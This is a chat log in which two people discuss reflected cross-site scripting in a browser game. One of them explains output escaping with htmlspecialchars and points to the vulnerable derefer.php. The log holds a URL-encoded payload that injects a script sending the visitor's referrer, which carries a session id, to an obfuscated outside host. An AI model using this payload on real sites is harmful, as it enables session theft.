(00:56:16) saturnalien0: Hm?
(00:56:20) Adam: you can see the JS in the status bar
(00:56:26) Adam: <?php
$t = htmlspecialchars("http://img4.imageshack.us/%22%3e%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%3d%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28104%2c116%2c116%2c112%2c58%2c47%2c47%2c113%2c46%2c52%2c51%2c105%2c46%2c110%2c101%2c116%2c63%29%2b%64%6f%63%75%6 %65%6e%74%2e%72%65%66%65%72%72%65%72%3c%2f%73%63%72%69%70%74%3e");
echo "<a href=\"$t\">$t</a>";
(00:56:33) saturnalien0: Yeah, so?
(00:56:45) Adam: wont it excute when its clicked?
(00:57:47) saturnalien0: No... the browser just decodes it automatically for convenience. It's against protocol to send an URL with special characters to a server, you have to URL-encode it, the webserver receives that, decodes it, passes it to PHP, which then, having the actual HTML, calls htmlspecialchars on it to convert < to < and so forth, making it save to echo
(00:57:48) saturnalien0: *safe
(00:58:25) Adam: but thats exactly how it appears within the exploited game
(00:58:35) Adam: but it still executes when you click the link
(00:58:54) saturnalien0: The URL has nothing to do with it... the problem with the exploited game is that the game is willingly echoing the data provided in the URL back to the browser
(00:59:10) saturnalien0: It's nothing to do with what you receive from the browser, it's what you send
(00:59:15) Adam: http://213.203.194.123/us/1/index.php?s=npu1lo3exf9x&p=mail&sub=show&id=327938
(01:00:03) saturnalien0: The issue is, for example, if you have a script that is called like echo_message.php?msg=, and it echoes the msg provided, and you don't escape it, someone could deliver html into ?msg= and you'd willingly echo it when it might contain javascript
(01:00:30) Adam: yeh
(01:00:50) saturnalien0: The security issue is in derefer.php, as it is not calling htmlspecialchars or whatever
(01:01:33) Adam: hmm ok i'm confused lol as they both look exactly the same, from what you can see on the exploited and my test they both look exactly the same without any chars changed etc
(01:02:09) saturnalien0: What I'm saying is that the URL is irrelevant, whether something is secure or not is not reflected in the URL